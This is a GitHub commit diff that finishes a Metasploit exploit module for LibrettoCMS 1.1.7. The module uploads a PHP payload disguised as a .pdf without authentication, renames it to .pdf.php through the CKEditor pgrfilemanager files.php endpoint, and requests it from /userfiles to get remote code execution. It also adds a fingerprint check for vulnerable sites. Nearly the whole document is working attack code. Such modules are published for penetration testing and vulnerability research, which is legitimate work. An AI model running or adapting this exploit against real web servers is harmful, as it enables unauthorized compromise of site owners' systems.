Skip to content

Commit 079477c

Browse files
committed
Commit final version
1 parent 62b23bc commit 079477c

File tree

1 file changed

+45
-14
lines changed

1 file changed

+45
-14
lines changed

modules/exploits/unix/webapp/libretto_upload_exec.rb

Lines changed: 45 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -15,9 +15,12 @@ class Metasploit3 < Msf::Exploit::Remote
1515

1616
def initialize(info={})
1717
super(update_info(info,
18-
'Name' => "Libretto CMS Arbitary File Upload Vulnerability",
18+
'Name' => "LibrettoCMS File Manager Arbitary File Upload Vulnerability",
1919
'Description' => %q{
20-
Whatever
20+
This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and
21+
possibly prior. Attackers bypass the file extension check and abuse the upload
22+
feature in order to upload a malicious PHP file without authentication, which
23+
results in arbitary remote code execution.
2124
},
2225
'License' => MSF_LICENSE,
2326
'Author' =>
@@ -27,6 +30,7 @@ def initialize(info={})
2730
],
2831
'References' =>
2932
[
33+
['OSVDB', '94391'],
3034
['EDB', '26213']
3135
],
3236
'Payload' =>
@@ -40,7 +44,7 @@ def initialize(info={})
4044
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
4145
],
4246
'Privileged' => false,
43-
'DisclosureDate' => "Jun 17 2013",
47+
'DisclosureDate' => "Jun 14 2013",
4448
'DefaultTarget' => 0))
4549

4650
register_options(
@@ -56,12 +60,23 @@ def peer
5660

5761

5862
def check
63+
res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
64+
if not res
65+
print_error("#{peer} - Connection timed out")
66+
return Exploit::CheckCode::Unknown
67+
end
68+
69+
if res.body =~ /Powered by <a href=".+">Libretto CMS/
70+
return Exploit::CheckCode::Detected
71+
end
72+
73+
Exploit::CheckCode::Safe
5974
end
6075

6176

6277
def upload(base)
6378
p = get_write_exec_payload(:unlink_self=>true)
64-
fname = "payload.php.doc"
79+
fname = "#{Rex::Text.rand_text_alpha(6)}.pdf"
6580

6681
data = Rex::MIME::Message.new
6782
data.add_part(fname, nil, nil, "form-data; name=\"Filename\"")
@@ -79,16 +94,23 @@ def upload(base)
7994
'vars_get' => {'type'=>'all files'}
8095
})
8196

82-
return fname
97+
if not res
98+
fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")
99+
elsif res.code.to_i != 200
100+
fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}")
101+
end
102+
103+
fname
83104
end
84105

85106

86107
def rename(base, original_fname)
87-
new_name = "BBBBBBBB.pdf"
88-
uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugin', 'pgrfilemanager', 'php', 'files.php')
108+
new_name = "#{Rex::Text.rand_text_alpha(5)}.pdf.php"
109+
uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'files.php')
89110
res = send_request_cgi({
90111
'method' => 'POST',
91112
'uri' => uri,
113+
'vars_get' => { 'type' => 'all files' },
92114
'vars_post' => {
93115
'fun' => 'renameFile',
94116
'dir' => '',
@@ -97,25 +119,34 @@ def rename(base, original_fname)
97119
}
98120
})
99121

100-
return new_name
122+
if not res
123+
fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while renaming")
124+
elsif res.body !~ /"res":"OK"/
125+
fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to rename file")
126+
end
127+
128+
new_name
101129
end
102130

103131

104132
def exec(base, payload_fname)
105-
133+
res = send_request_cgi({ 'uri' => normalize_uri(base, 'userfiles', payload_fname) })
134+
if res and res.code.to_i == 404
135+
fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
136+
end
106137
end
107138

108139

109140
def exploit
110141
base = target_uri.path
111142

112143
print_status("#{peer} - Uploading malicious file...")
113-
fname = upload(base)
144+
orig_fname = upload(base)
114145

115-
print_status("#{peer} - Renaming #{fname}...")
116-
fname = rename(base, fname)
146+
print_status("#{peer} - Renaming #{orig_fname}...")
147+
new_fname = rename(base, orig_fname)
117148

118-
print_status("#{peer} - Executing #{fname}...")
119-
exec(base, fname)
149+
print_status("#{peer} - Executing #{new_fname}...")
150+
exec(base, new_fname)
120151
end
121152
end

0 commit comments

Comments
 (0)